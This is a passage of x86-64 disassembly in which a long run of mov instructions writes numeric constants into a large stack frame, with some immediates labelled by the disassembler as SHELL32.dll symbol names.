mov qword [rsp + 0x11d80], rax
movabs rax, 0x7acc027db06dc9
mov qword [rsp + 0x11d88], rax
mov eax, 0x10e
mov word [rsp + 0x2770], ax
movabs rax, 0x7bd9e2c419e60f
mov qword [rsp + 0x11d90], rax
mov eax, 0x3ff
mov word [rsp + 0x2774], ax
mov dword [rsp + 0x8d94], 0xce7
mov byte [rsp + 0x4b3], 0x6d
mov dword [rsp + 0x8d98], 0x1c38
mov byte [rsp + 0x4b4], 0x45
mov byte [rsp + 0x4b5], 0xfb
mov byte [rsp + 0x4b6], 0xf4
mov dword [rsp + 0x8d9c], 0x27fc
movabs rax, 0x72181779f838aa
mov qword [rsp + 0x11d98], rax
mov dword [rsp + 0x8da0], 0x4c70
movabs rax, 0x7579b8aa1e4296
mov qword [rsp + 0x11da0], rax
mov dword [rsp + 0x8da4], 0x4897
mov dword [rsp + 0x8da8], 0x4e60
mov eax, 0x22b
mov word [rsp + 0x2778], ax
mov byte [rsp + 0x4b7], 0x41
mov eax, 0xa50
mov word [rsp + 0x277c], ax
movabs rax, 0x7e9383106c8307
mov qword [rsp + 0x11da8], rax
mov dword [rsp + 0x8dac], 0x7460
mov dword [rsp + 0x8db0], 0x2bad
mov dword [rsp + 0x8db4], 0x5340
mov byte [rsp + 0x4b8], 0xcb
mov dword [rsp + 0x8db8], 0x1e59
mov byte [rsp + 0x4b9], 0x3e
movabs rax, 0x7e7b93b896708d
mov qword [rsp + 0x11db0], rax
movabs rax, 0x7c68b5f02b0ff6
mov qword [rsp + 0x11db8], rax
movabs rax, 0x7403642cdd627b
mov qword [rsp + 0x11dc0], rax
mov eax, 0x2b8
mov word [rsp + 0x2780], ax
movabs rax, 0x7d8a2f91907aff
mov qword [rsp + 0x11dc8], rax
movabs rax, 0x7e48929d846e7f
mov qword [rsp + 0x11dd0], rax
mov dword [rsp + 0x8dbc], 0x575
movabs rax, 0x76fca9217dc369
mov qword [rsp + 0x11dd8], rax
mov dword [rsp + 0x8dc0], 0x5df8
mov byte [rsp + 0x4ba], 0xd6
mov dword [rsp + 0x8dc4], 0x446b
movabs rax, 0x7ea866df37b855
mov qword [rsp + 0x11de0], rax
movabs rax, 0x7149f1961cf7c5
mov qword [rsp + 0x11de8], rax
movabs rax, 0x79f165400f6bb1
mov qword [rsp + 0x11df0], rax
mov eax, 0x5e3
mov word [rsp + 0x2784], ax
mov dword [rsp + 0x8dc8], 0x60fc
movabs rax, 0x7cd26aed993a33
mov qword [rsp + 0x11df8], rax
mov eax, 0x13b
mov word [rsp + 0x2788], ax
mov dword [rsp + 0x8dcc], 0x677e
movabs rax, 0x73d3ba8fc1d880
mov qword [rsp + 0x11e00], rax
mov eax, ILGetNext
mov word [rsp + 0x278c], ax
movabs rax, 0x72d8eeb496ef1f
mov qword [rsp + 0x11e08], rax
mov eax, 0x5b0
mov word [rsp + 0x2790], ax
mov dword [rsp + 0x8dd0], 0x2130
mov dword [rsp + 0x8dd4], 0xda61
movabs rax, 0x756fe9350d4d0b
mov qword [rsp + 0x11e10], rax
mov eax, 0x378
mov word [rsp + 0x2794], ax
mov dword [rsp + 0x8dd8], 0x1881
mov dword [rsp + 0x8ddc], 0x1823
mov dword [rsp + 0x8de0], 0xde42
movabs rax, 0x74cd481732294c
mov qword [rsp + 0x11e18], rax
movabs rax, 0x745e10324d9113
mov qword [rsp + 0x11e20], rax
movabs rax, 0x765e4d60a0fe42
mov qword [rsp + 0x11e28], rax
mov eax, 0xaf1
mov word [rsp + 0x2798], ax
mov byte [rsp + 0x4bb], 0xfb
mov dword [rsp + 0x8de4], 0xe1d7
mov dword [rsp + 0x8de8], 0x1023
movabs rax, 0x752de5bcc4176b
mov qword [rsp + 0x11e30], rax
mov dword [rsp + 0x8dec], 0x616a
mov dword [rsp + 0x8df0], 0x4e1b
mov byte [rsp + 0x4bc], 0x82
mov eax, 0xb5c
mov word [rsp + 0x279c], ax
movabs rax, 0x7172c9cf69b3de
mov qword [rsp + 0x11e38], rax
mov dword [rsp + 0x8df4], 0x2227
mov byte [rsp + 0x4bd], 0x66
mov byte [rsp + 0x4be], 0xc
mov eax, 0xfe4
mov word [rsp + 0x27a0], ax
mov byte [rsp + 0x4bf], 0x54
mov eax, reloc.SHELL32.dll_SHUpdateImageW
mov word [rsp + 0x27a4], ax
mov eax, 0xd40
mov word [rsp + 0x27a8], ax
mov dword [rsp + 0x8df8], 0x488
mov dword [rsp + 0x8dfc], 0x9a17
mov dword [rsp + 0x8e00], 0x4f8c
mov dword [rsp + 0x8e04], 0xa06e
movabs rax, 0x78d1584c279d10
mov qword [rsp + 0x11e40], rax
mov byte [rsp + 0x4c0], 0x75
mov dword [rsp + 0x8e08], 0x5a0b
movabs rax, 0x7968d8564c4726
mov qword [rsp + 0x11e48], rax
mov byte [rsp + 0x4c1], 0x7f
mov dword [rsp + 0x8e0c], 0xa3a3
mov eax, 0xca6
mov word [rsp + 0x27ac], ax
mov dword [rsp + 0x8e10], 0x366
mov eax, 0x452
mov word [rsp + 0x27b0], ax
movabs rax, 0x7ea073e46679f2
mov qword [rsp + 0x11e50], rax
movabs rax, 0x797682a25ddb2f
mov qword [rsp + 0x11e58], rax
movabs rax, 0x799217ed23ccc8
mov qword [rsp + 0x11e60], rax
mov dword [rsp + 0x8e14], 0x2a6e
mov dword [rsp + 0x8e18], 0x249d
movabs rax, 0x7a92ce72f20121
mov qword [rsp + 0x11e68], rax
mov eax, 0xcf0
mov word [rsp + 0x27b4], ax
mov eax, 0xd21
mov word [rsp + 0x27b8], ax
mov byte [rsp + 0x4c2], 0x33
movabs rax, 0x754b0da3330221
mov qword [rsp + 0x11e70], rax
mov eax, 0x729
mov word [rsp + 0x27bc], ax
movabs rax, 0x712f4843bb835f
mov qword [rsp + 0x11e78], rax
movabs rax, 0x77826c264108f4
mov qword [rsp + 0x11e80], rax
mov eax, 0x184
mov word [rsp + 0x27c0], ax
mov byte [rsp + 0x4c3], 0x97
mov dword [rsp + 0x8e1c], 0x35e7
mov byte [rsp + 0x4c4], 0x85
movabs rax, 0x77fd035fba73ea
mov qword [rsp + 0x11e88], rax
movabs rax, 0x769afc247acd66
mov qword [rsp + 0x11e90], rax
mov dword [rsp + 0x8e20], 0x6afc
mov eax, 0xa98
mov word [rsp + 0x27c4], ax
movabs rax, 0x71bfb9ae71a3cc
mov qword [rsp + 0x11e98], rax
movabs rax, 0x75819824639e30
mov qword [rsp + 0x11ea0], rax
movabs rax, 0x7ca9ab528aae2e
mov qword [rsp + 0x11ea8], rax
movabs rax, 0x7e5711087a9897
mov qword [rsp + 0x11eb0], rax
mov dword [rsp + 0x8e24], 0x46c3
mov byte [rsp + 0x4c5], 0x14
mov byte [rsp + 0x4c6], 0x4c
mov eax, 0x611
mov word [rsp + 0x27c8], ax
mov dword [rsp + 0x8e28], 0x2b59
mov byte [rsp + 0x4c7], 0x45
mov byte [rsp + 0x4c8], 0x17
mov eax, 0x672
mov word [rsp + 0x27cc], ax
movabs rax, 0x7b7ba9d28f341b
mov qword [rsp + 0x11eb8], rax
movabs rax, 0x7d5adf117ec484
mov qword [rsp + 0x11ec0], rax
mov byte [rsp + 0x4c9], 0x46
movabs rax, 0x70a73ade1614e4
mov qword [rsp + 0x11ec8], rax
mov byte [rsp + 0x4ca], 0xd7
mov eax, 0xc08
mov word [rsp + 0x27d0], ax
movabs rax, 0x7702db2af219ca
mov qword [rsp + 0x11ed0], rax
mov eax, 0x22d
mov word [rsp + 0x27d4], ax
movabs rax, 0x72778bab92d822
mov qword [rsp + 0x11ed8], rax
mov dword [rsp + 0x8e2c], 0x2af
mov dword [rsp + 0x8e30], 0x145c
mov eax, 0x6c8
mov word [rsp + 0x27d8], ax
mov eax, 0x594
mov word [rsp + 0x27dc], ax
mov eax, 0xc80
mov word [rsp + 0x27e0], ax
mov eax, 0x4a3
mov word [rsp + 0x27e4], ax
mov dword [rsp + 0x8e34], 0x6f8e
mov dword [rsp + 0x8e38], 0x4fd3
mov eax, 0x3bd
mov word [rsp + 0x27e8], ax
mov eax, 0x431
mov word [rsp + 0x27ec], ax
movabs rax, 0x77e48ea5b691f5
mov qword [rsp + 0x11ee0], rax
mov dword [rsp + 0x8e3c], 0x3a3b
movabs rax, 0x7cddc5565f8d13
mov qword [rsp + 0x11ee8], rax
mov dword [rsp + 0x8e40], 0x99e3
mov eax, 0x20a
mov word [rsp + 0x27f0], ax
movabs rax, 0x7bf73b0be4155c
mov qword [rsp + 0x11ef0], rax
mov dword [rsp + 0x8e44], 0x5dc9
mov eax, 0x7a7
mov word [rsp + 0x27f4], ax
mov byte [rsp + 0x4cb], 0xc3
mov dword [rsp + 0x8e48], 0x7277
mov eax, 0x708
mov word [rsp + 0x27f8], ax
mov eax, 0xa1e
mov word [rsp + 0x27fc], ax
mov byte [rsp + 0x4cc], 0xae
mov byte [rsp + 0x4cd], 0x75
mov dword [rsp + 0x8e4c], 0x700d
mov byte [rsp + 0x4ce], 0x70
movabs rax, 0x7c05193157d82b
mov qword [rsp + 0x11ef8], rax
mov byte [rsp + 0x4cf], 0x12
movabs rax, 0x7960355ec2932c
mov qword [rsp + 0x11f00], rax
mov eax, 0x773
mov word [rsp + 0x2800], ax
movabs rax, 0x73076e65541e0e
mov qword [rsp + 0x11f08], rax
mov eax, ILGetSize
mov word [rsp + 0x2804], ax
movabs rax, 0x778125176f17aa
mov qword [rsp + 0x11f10], rax
mov byte [rsp + 0x4d0], 0x38
movabs rax, 0x7049805e414ef5
mov qword [rsp + 0x11f18], rax
mov eax, 0x906
mov word [rsp + 0x2808], ax
mov eax, 0xd12
mov word [rsp + 0x280c], ax
mov dword [rsp + 0x8e50], 0x4b08
mov dword [rsp + 0x8e54], 0x7d1a
mov eax, 0xf9
mov word [rsp + 0x2810], ax
mov eax, 0x5a
mov word [rsp + 0x2814], ax
mov dword [rsp + 0x8e58], 0x10bf
mov dword [rsp + 0x8e5c], 0x9656
mov byte [rsp + 0x4d1], 0x1b
mov dword [rsp + 0x8e60], 0x5d73
movabs rax, 0x746ad3a62c26db
mov qword [rsp + 0x11f20], rax
movabs rax, 0x728f502c0d144c
mov qword [rsp + 0x11f28], rax
mov byte [rsp + 0x4d2], 0x7e
mov eax, 0x462
mov word [rsp + 0x2818], ax
movabs rax, 0x7e6ee85a474dc5
mov qword [rsp + 0x11f30], rax
mov byte [rsp + 0x4d3], 0x52
mov eax, 0x7c4
mov word [rsp + 0x281c], ax
movabs rax, 0x7cec88f57a05c6
mov qword [rsp + 0x11f38], rax
movabs rax, 0x7ad2e35e5d1829
mov qword [rsp + 0x11f40], rax
mov dword [rsp + 0x8e64], 0x87ae
mov eax, 0x2f7
mov word [rsp + 0x2820], ax
mov byte [rsp + 0x4d4], 0xc
mov byte [rsp + 0x4d5], 0xde
mov byte [rsp + 0x4d6], 0x85
movabs rax, 0x77be26213c8fe6
mov qword [rsp + 0x11f48], rax
mov eax, 0x308
mov word [rsp + 0x2824], ax
mov dword [rsp + 0x8e68], 0x26e8
mov eax, 0x61f
mov word [rsp + 0x2828], ax
mov dword [rsp + 0x8e6c], 0x12f5
mov eax, 0x1a0
mov word [rsp + 0x282c], ax
movabs rax, 0x7b3d2a3c507506
mov qword [rsp + 0x11f50], rax
mov dword [rsp + 0x8e70], 0x291a
mov eax, 0x5ae
mov word [rsp + 0x2830], ax
mov eax, 0x198
mov word [rsp + 0x2834], ax
movabs rax, 0x7443ed5510a9db
mov qword [rsp + 0x11f58], rax
movabs rax, 0x79231f461a7d36
mov qword [rsp + 0x11f60], rax
mov eax, 0x188
mov word [rsp + 0x2838], ax
mov byte [rsp + 0x4d7], 0x56
movabs rax, 0x710e449bf925d9
mov qword [rsp + 0x11f68], rax
mov eax, 0x300
mov word [rsp + 0x283c], ax
mov dword [rsp + 0x8e74], 0x6651
mov eax, 0x245
mov word [rsp + 0x2840], ax
movabs rax, 0x7359159621eec0
mov qword [rsp + 0x11f70], rax
movabs rax, 0x74d1b82d84dfde
mov qword [rsp + 0x11f78], rax
movabs rax, 0x7db4f4e3daacdd
mov qword [rsp + 0x11f80], rax
mov eax, 0xaaa
mov word [rsp + 0x2844], ax
movabs rax, 0x7a0d961a950f1f
mov qword [rsp + 0x11f88], rax
movabs rax, 0x76af906126d2b8
mov qword [rsp + 0x11f90], rax
mov byte [rsp + 0x4d8], 0xdb
movabs rax, 0x733f6621520d4c
mov qword [rsp + 0x11f98], rax
movabs rax, 0x71945f716cdf49
mov qword [rsp + 0x11fa0], rax
movabs rax, 0x7efeeb645e6ad8
mov qword [rsp + 0x11fa8], rax
mov byte [rsp + 0x4d9], 0xa0
mov byte [rsp + 0x4da], 0x80
movabs rax, 0x7ca58de8070ca7
mov qword [rsp + 0x11fb0], rax
mov dword [rsp + 0x8e78], 0x1e0f
mov eax, 0x2cc
mov word [rsp + 0x2848], ax
mov eax, 0xa3a
mov word [rsp + 0x284c], ax
movabs rax, 0x79211ca076f820
mov qword [rsp + 0x11fb8], rax
mov dword [rsp + 0x8e7c], 0xe6d5
mov dword [rsp + 0x8e80], 0x4f34
mov eax, 0x783
mov word [rsp + 0x2850], ax
mov dword [rsp + 0x8e84], 0x5e51
movabs rax, 0x7dee3a1d133fc3
mov qword [rsp + 0x11fc0], rax
mov eax, 0x2c2
mov word [rsp + 0x2854], ax
mov eax, 0x1a5
mov word [rsp + 0x2858], ax
mov byte [rsp + 0x4db], 0xf5
mov dword [rsp + 0x8e88], 0x3721
mov eax, 0xc0c
mov word [rsp + 0x285c], ax
movabs rax, 0x7ca9c10917fb96
mov qword [rsp + 0x11fc8], rax
mov byte [rsp + 0x4dc], 0x17
mov byte [rsp + 0x4dd], 0x2e
mov byte [rsp + 0x4de], 0xcc
mov dword [rsp + 0x8e8c], 0x5c04
mov byte [rsp + 0x4df], 0x6d
movabs rax, 0x70522c52efe30f
mov qword [rsp + 0x11fd0], rax
mov dword [rsp + 0x8e90], 0xbd1
mov dword [rsp + 0x8e94], 0x1974
mov dword [rsp + 0x8e98], 0x51c0
mov eax, 0x2b8
mov word [rsp + 0x2860], ax
mov eax, 0x87a
mov word [rsp + 0x2864], ax
mov dword [rsp + 0x8e9c], 0xb450
mov dword [rsp + 0x8ea0], 0x4b04
movabs rax, 0x7336caa3e06466
mov qword [rsp + 0x11fd8], rax
mov byte [rsp + 0x4e0], 0xa8
mov eax, 0x612
mov word [rsp + 0x2868], ax
mov byte [rsp + 0x4e1], 0x4e
movabs rax, 0x7dc70d8d10ef9b
mov qword [rsp + 0x11fe0], rax
mov dword [rsp + 0x8ea4], 0xf3d0
movabs rax, 0x7011626a108a9b
mov qword [rsp + 0x11fe8], rax
movabs rax, 0x7ef1ef3072bb0d
mov qword [rsp + 0x11ff0], rax
mov eax, 0x1d0
mov word [rsp + 0x286c], ax
mov dword [rsp + 0x8ea8], 0x7d10
mov dword [rsp + 0x8eac], 0x4acb
movabs rax, 0x7183245283d71c
mov qword [rsp + 0x11ff8], rax
mov dword [rsp + 0x8eb0], 0x70c2
mov eax, 0x251
mov word [rsp + 0x2870], ax
mov eax, 0x2cc
mov word [rsp + 0x2874], ax
movabs rax, 0x725590e64efac7
mov qword [rsp + 0x12000], rax
movabs rax, 0x7992dcdf17f043
mov qword [rsp + 0x12008], rax
movabs rax, 0x72c656236c340b
mov qword [rsp + 0x12010], rax
mov dword [rsp + 0x8eb4], 0x5ca3
mov eax, 0xb98
mov word [rsp + 0x2878], ax
mov dword [rsp + 0x8eb8], 0x6cf5
mov eax, 0x72d
mov word [rsp + 0x287c], ax
movabs rax, 0x73a2db12c0e981
mov qword [rsp + 0x12018], rax
movabs rax, 0x732593dee7e937
mov qword [rsp + 0x12020], rax
movabs rax, 0x711bea9a0c2b8d
mov qword [rsp + 0x12028], rax
mov dword [rsp + 0x8ebc], 0x44e6
mov byte [rsp + 0x4e2], 0xe5
movabs rax, 0x740e7fc8207c12
mov qword [rsp + 0x12030], rax
movabs rax, 0x7448aa7bf4b397
mov qword [rsp + 0x12038], rax
mov eax, 0x717
mov word [rsp + 0x2880], ax
mov byte [rsp + 0x4e3], 0
movabs rax, 0x7704641f8e67fc
mov qword [rsp + 0x12040], rax
mov eax, 0x47c
mov word [rsp + 0x2884], ax
movabs rax, 0x7831e25cb6f477
mov qword [rsp + 0x12048], rax
mov dword [rsp + 0x8ec0], 0x4db4
mov byte [rsp + 0x4e4], 0x64
mov eax, 0x30a
mov word [rsp + 0x2888], ax
mov byte [rsp + 0x4e5], 0x35
mov dword [rsp + 0x8ec4], 0x2711
movabs rax, 0x7c5a8374dc7482
mov qword [rsp + 0x12050], rax
mov dword [rsp + 0x8ec8], 0xbf70
mov dword [rsp + 0x8ecc], 0xcb18
mov dword [rsp + 0x8ed0], 0x90b3
mov dword [rsp + 0x8ed4], 0x2aad
mov dword [rsp + 0x8ed8], 0xff13
movabs rax, 0x7c8a0b6b60404f
mov qword [rsp + 0x12058], rax
movabs rax, 0x775f7ee05e2eff
mov qword [rsp + 0x12060], rax
mov eax, 0x313
mov word [rsp + 0x288c], ax
movabs rax, 0x7256cb9106fd2b
mov qword [rsp + 0x12068], rax
mov byte [rsp + 0x4e6], 0x43
movabs rax, 0x7e050c7e4558d5
mov qword [rsp + 0x12070], rax
movabs rax, 0x79b82b703020ac
mov qword [rsp + 0x12078], rax
mov eax, 0xf7
mov word [rsp + 0x2890], ax
mov dword [rsp + 0x8edc], 0x6d53
mov byte [rsp + 0x4e7], 0x1f
mov byte [rsp + 0x4e8], 0
mov dword [rsp + 0x8ee0], 0x1c09
movabs rax, 0x77cfc3dc223094
mov qword [rsp + 0x12080], rax
mov byte [rsp + 0x4e9], 0x4a
movabs rax, 0x74d00817314da6
mov qword [rsp + 0x12088], rax
mov dword [rsp + 0x8ee4], 0x1fdd
mov eax, 0x4af
mov word [rsp + 0x2894], ax
mov dword [rsp + 0x8ee8], 0x75ab
mov eax, 0x689
mov word [rsp + 0x2898], ax
mov dword [rsp + 0x8eec], 0x6b99
mov eax, 0x375
mov word [rsp + 0x289c], ax
movabs rax, 0x7c3b9afb6040a2
mov qword [rsp + 0x12090], rax
movabs rax, 0x7b48996ff3068f
mov qword [rsp + 0x12098], rax
mov eax, 0x374
mov word [rsp + 0x28a0], ax
mov eax, 0x7f7
mov word [rsp + 0x28a4], ax
mov eax, 0x599
mov word [rsp + 0x28a8], ax
mov eax, 0xec7
mov word [rsp + 0x28ac], ax
mov eax, 0x20a
mov word [rsp + 0x28b0], ax
movabs rax, 0x79d04e03f93dc9
mov qword [rsp + 0x120a0], rax
mov dword [rsp + 0x8ef0], 0x3e38
mov eax, 0x272
mov word [rsp + 0x28b4], ax
movabs rax, 0x751df896a2d972
mov qword [rsp + 0x120a8], rax
mov byte [rsp + 0x4ea], 0x5f
mov byte [rsp + 0x4eb], 0xe
mov eax, 0xee4
mov word [rsp + 0x28b8], ax
mov byte [rsp + 0x4ec], 0x56
mov eax, SHSetInstanceExplorer
mov word [rsp + 0x28bc], ax
mov eax, 0x23d
mov word [rsp + 0x28c0], ax
mov byte [rsp + 0x4ed], 0x40
movabs rax, 0x70eb69128ac34f
mov qword [rsp + 0x120b0], rax
movabs rax, 0x7337183cfc5035
mov qword [rsp + 0x120b8], rax
mov byte [rsp + 0x4ee], 0x1a
movabs rax, 0x7390c3c21e7096
mov qword [rsp + 0x120c0], rax
mov eax, SHSetInstanceExplorer
mov word [rsp + 0x28c4], ax
mov eax, 0x61a
mov word [rsp + 0x28c8], ax
mov dword [rsp + 0x8ef4], 0x6496
mov eax, 0x1c1
mov word [rsp + 0x28cc], ax
mov byte [rsp + 0x4ef], 0x31
mov eax, 0x644
mov word [rsp + 0x28d0], ax
movabs rax, 0x7b7498893f2ac5
mov qword [rsp + 0x120c8], rax
mov byte [rsp + 0x4f0], 0x1d
mov eax, 0x876
mov word [rsp + 0x28d4], ax
movabs rax, 0x71a8d332a0eed8
mov qword [rsp + 0x120d0], rax
movabs rax, 0x7a948799a1089e
mov qword [rsp + 0x120d8], rax
movabs rax, 0x7d1e0f9d642467
mov qword [rsp + 0x120e0], rax
mov byte [rsp + 0x4f1], 0x34
mov dword [rsp + 0x8ef8], 0x7067
movabs rax, 0x7ecc22af7f6f56
mov qword [rsp + 0x120e8], rax
movabs rax, 0x7a2618da3aecd4
mov qword [rsp + 0x120f0], rax
mov dword [rsp + 0x8efc], 0x64cd
movabs rax, 0x73fb4c7f663fb9
mov qword [rsp + 0x120f8], rax
mov dword [rsp + 0x8f00], 0x68d5
mov eax, 0xc55
mov word [rsp + 0x28d8], ax
movabs rax, 0x7ea11cf8a24805
mov qword [rsp + 0x12100], rax
mov eax, SHGetNewLinkInfoW
mov word [rsp + 0x28dc], ax
movabs rax, 0x7422ef4e4c98a8
mov qword [rsp + 0x12108], rax
mov dword [rsp + 0x8f04], 0xc224
mov eax, 0x323
mov word [rsp + 0x28e0], ax
mov byte [rsp + 0x4f2], 0xe8
mov dword [rsp + 0x8f08], 0xb4a5
movabs rax, 0x7ba3ab6b1da2ee
mov qword [rsp + 0x12110], rax
mov dword [rsp + 0x8f0c], 0xd7d8
mov dword [rsp + 0x8f10], 0xf724
mov byte [rsp + 0x4f3], 0x3b
mov dword [rsp + 0x8f14], 0x97cf
movabs rax, 0x7d8632585a5206
mov qword [rsp + 0x12118], rax
mov byte [rsp + 0x4f4], 0xea
mov eax, SHChangeNotification_Lock
mov word [rsp + 0x28e4], ax
mov eax, 0x16a
mov word [rsp + 0x28e8], ax
mov eax, 0x7aa
mov word [rsp + 0x28ec], ax
mov dword [rsp + 0x8f18], 0xd32f
mov eax, 0x741
mov word [rsp + 0x28f0], ax
movabs rax, 0x74272ce26e7397
mov qword [rsp + 0x12120], rax
mov dword [rsp + 0x8f1c], 0x3701
mov dword [rsp + 0x8f20], 0xa221
mov byte [rsp + 0x4f5], 0xc
mov byte [rsp + 0x4f6], 0x57
mov eax, 0x68e
mov word [rsp + 0x28f4], ax
mov eax, 0x715
mov word [rsp + 0x28f8], ax
movabs rax, 0x73e1fc5c549eb2
mov qword [rsp + 0x12128], rax
mov byte [rsp + 0x4f7], 0x96
movabs rax, 0x7991d0acd7a523
mov qword [rsp + 0x12130], rax
movabs rax, 0x74b4f9b3566a5e
mov qword [rsp + 0x12138], rax
mov eax, 0x5b5
mov word [rsp + 0x28fc], ax
movabs rax, 0x717ecf98f03d07
mov qword [rsp + 0x12140], rax
mov dword [rsp + 0x8f24], 0x47e5
mov dword [rsp + 0x8f28], 0x9957
mov dword [rsp + 0x8f2c], 0xc489
mov eax, 0x8e8
mov word [rsp + 0x2900], ax
movabs rax, 0x747e69a97f7d2b
mov qword [rsp + 0x12148], rax
movabs rax, 0x732ab1fca01f17
mov qword [rsp + 0x12150], rax
movabs rax, 0x7cebd5a2018de4
mov qword [rsp + 0x12158], rax
mov byte [rsp + 0x4f8], 0x98
mov dword [rsp + 0x8f30], 0x4268
mov eax, 0x445
mov word [rsp + 0x2904], ax
mov eax, 0x272
mov word [rsp + 0x2908], ax
mov dword [rsp + 0x8f34], 0x256
mov dword [rsp + 0x8f38], 0x6707
movabs rax, 0x77c68a8e212709
mov qword [rsp + 0x12160], rax
mov eax, 0x1ee
mov word [rsp + 0x290c], ax
mov eax, 0x8e
mov word [rsp + 0x2910], ax
mov eax, ILSaveToStream
mov word [rsp + 0x2914], ax
mov byte [rsp + 0x4f9], 0x3c
mov dword [rsp + 0x8f3c], 0xc7b
movabs rax, 0x7bd1fe77fba807
mov qword [rsp + 0x12168], rax
mov eax, 0x1ad
mov word [rsp + 0x2918], ax
movabs rax, 0x787665f4905e23
mov qword [rsp + 0x12170], rax
mov dword [rsp + 0x8f40], 0x5371
mov eax, 0x769
mov word [rsp + 0x291c], ax
mov eax, 0x157
mov word [rsp + 0x2920], ax
mov byte [rsp + 0x4fa], 0x56
mov dword [rsp + 0x8f44], 0x3e53
mov byte [rsp + 0x4fb], 0x5b
mov byte [rsp + 0x4fc], 0x4d
mov byte [rsp + 0x4fd], 0x77
mov eax, 0x51b
mov word [rsp + 0x2924], ax
mov eax, 0xce8
mov word [rsp + 0x2928], ax
mov byte [rsp + 0x4fe], 0xa8
mov dword [rsp + 0x8f48], 0x4b32
mov dword [rsp + 0x8f4c], 0xfde2
movabs rax, 0x761a32aad645aa
mov qword [rsp + 0x12178], rax
mov byte [rsp + 0x4ff], 0x5d
mov dword [rsp + 0x8f50], 0x277
movabs rax, 0x753e297d13b286
mov qword [rsp + 0x12180], rax
movabs rax, 0x7a69e0524c9927
mov qword [rsp + 0x12188], rax
movabs rax, 0x79f52daff7b937
mov qword [rsp + 0x12190], rax
mov dword [rsp + 0x8f54], 0xc394
movabs rax, 0x7a2884c1eaa08e
mov qword [rsp + 0x12198], rax
mov byte [rsp + 0x500], 0x78
mov eax, 0x535
mov word [rsp + 0x292c], ax
mov dword [rsp + 0x8f58], 0xb212
movabs rax, 0x70ffa579ba9199
mov qword [rsp + 0x121a0], rax
mov eax, 0xccf
mov word [rsp + 0x2930], ax
mov dword [rsp + 0x8f5c], 0x17f2
mov eax, 0x537
mov word [rsp + 0x2934], ax
movabs rax, 0x74998ef2152257
mov qword [rsp + 0x121a8], rax
mov dword [rsp + 0x8f60], 0xb24d
mov dword [rsp + 0x8f64], 0x3170
mov byte [rsp + 0x501], 0x7d
mov dword [rsp + 0x8f68], 0x52ab
mov dword [rsp + 0x8f6c], 0x9869
movabs rax, 0x7505b6271df34f
mov qword [rsp + 0x121b0], rax
mov byte [rsp + 0x502], 0xf6
mov eax, 0x635
mov word [rsp + 0x2938], ax
mov dword [rsp + 0x8f70], 0x85ea
mov dword [rsp + 0x8f74], 0xec7e
mov byte [rsp + 0x503], 0xd3
mov eax, 0x695
mov word [rsp + 0x293c], ax
mov byte [rsp + 0x504], 0xf2
mov dword [rsp + 0x8f78], 0xeec
mov dword [rsp + 0x8f7c], 0x5cd8
movabs rax, 0x78eb2798b7a05a
mov qword [rsp + 0x121b8], rax
mov dword [rsp + 0x8f80], 0x6bea
mov eax, 0xa52
mov word [rsp + 0x2940], ax
mov byte [rsp + 0x505], 0xb7
mov byte [rsp + 0x506], 0x19
movabs rax, 0x742cd9cd20986c
mov qword [rsp + 0x121c0], rax
mov dword [rsp + 0x8f84], 0x9e50
mov eax, 0x242
mov word [rsp + 0x2944], ax
mov byte [rsp + 0x507], 0xa2
mov eax, 0x15a
mov word [rsp + 0x2948], ax
mov byte [rsp + 0x508], 0x5e
mov dword [rsp + 0x8f88], 0xc1a9
movabs rax, 0x725678592b6bb7
mov qword [rsp + 0x121c8], rax
mov dword [rsp + 0x8f8c], 0x5c20
mov eax, 0x4b7
mov word [rsp + 0x294c], ax
movabs rax, 0x7d155712d086f6
mov qword [rsp + 0x121d0], rax
mov byte [rsp + 0x509], 7
mov byte [rsp + 0x50a], 0x3b
mov dword [rsp + 0x8f90], 0x2eea
mov eax, 0x737
mov word [rsp + 0x2950], ax
mov byte [rsp + 0x50b], 0x94
mov eax, 0xed0
mov word [rsp + 0x2954], ax
movabs rax, 0x7b0a11674ca54b
mov qword [rsp + 0x121d8], rax
movabs rax, 0x7db8d34ce41d8d
mov qword [rsp + 0x121e0], rax
mov dword [rsp + 0x8f94], 0xab45
mov eax, 0xd96
mov word [rsp + 0x2958], ax
mov byte [rsp + 0x50c], 0xbe
mov byte [rsp + 0x50d], 0x2f
mov byte [rsp + 0x50e], 0x31
mov eax, SHGetImageList
mov word [rsp + 0x295c], ax
mov byte [rsp + 0x50f], 0x5e
mov byte [rsp + 0x510], 0x4a
movabs rax, 0x710593d1850f93
mov qword [rsp + 0x121e8], rax
movabs rax, 0x779caf033bb1ca
mov qword [rsp + 0x121f0], rax
movabs rax, 0x7b84a7ac3f9bae
mov qword [rsp + 0x121f8], rax
mov dword [rsp + 0x8f98], 0x9998
mov dword [rsp + 0x8f9c], 0x6ca
movabs rax, 0x707ce07a493561
mov qword [rsp + 0x12200], rax
mov eax, 0x1f1
mov word [rsp + 0x2960], ax
mov byte [rsp + 0x511], 0x3f
mov eax, 0x4b1
mov word [rsp + 0x2964], ax
mov dword [rsp + 0x8fa0], 0x4e19
mov byte [rsp + 0x512], 0x76
movabs rax, 0x7ab8aa6db6946e
mov qword [rsp + 0x12208], rax
mov eax, 0x6c6
mov word [rsp + 0x2968], ax
mov eax, 0x3b
mov word [rsp + 0x296c], ax
movabs rax, 0x7e5e3377c3991e
mov qword [rsp + 0x12210], rax
mov eax, 0x505
mov word [rsp + 0x2970], ax
mov dword [rsp + 0x8fa4], 0x47d1
mov byte [rsp + 0x513], 0x46
movabs rax, 0x717f9c8fc3a595
mov qword [rsp + 0x12218], rax
movabs rax, 0x7d3997407050f8
mov qword [rsp + 0x12220], rax
mov eax, 0x14d
mov word [rsp + 0x2974], ax
mov byte [rsp + 0x514], 0x96
mov byte [rsp + 0x515], 0x64
movabs rax, 0x74adaa15595501
mov qword [rsp + 0x12228], rax
movabs rax, 0x7a837963fc254a
mov qword [rsp + 0x12230], rax
movabs rax, 0x774e6b421e73cd
mov qword [rsp + 0x12238], rax
movabs rax, 0x71b13a7d43cdec
mov qword [rsp + 0x12240], rax
movabs rax, 0x7afe23e85fc409
mov qword [rsp + 0x12248], rax
movabs rax, 0x74eebbdc47d575
mov qword [rsp + 0x12250], rax
mov byte [rsp + 0x516], 0x16
movabs rax, 0x7bf4a5d2bfe246
mov qword [rsp + 0x12258], rax
mov byte [rsp + 0x517], 0x16
movabs rax, 0x7029b8abf06898
mov qword [rsp + 0x12260], rax
mov eax, 0x418
mov word [rsp + 0x2978], ax
movabs rax, 0x7100454a486c7c
mov qword [rsp + 0x12268], rax
mov dword [rsp + 0x8fa8], 0xaac9
mov byte [rsp + 0x518], 0x8c
mov byte [rsp + 0x519], 0x40
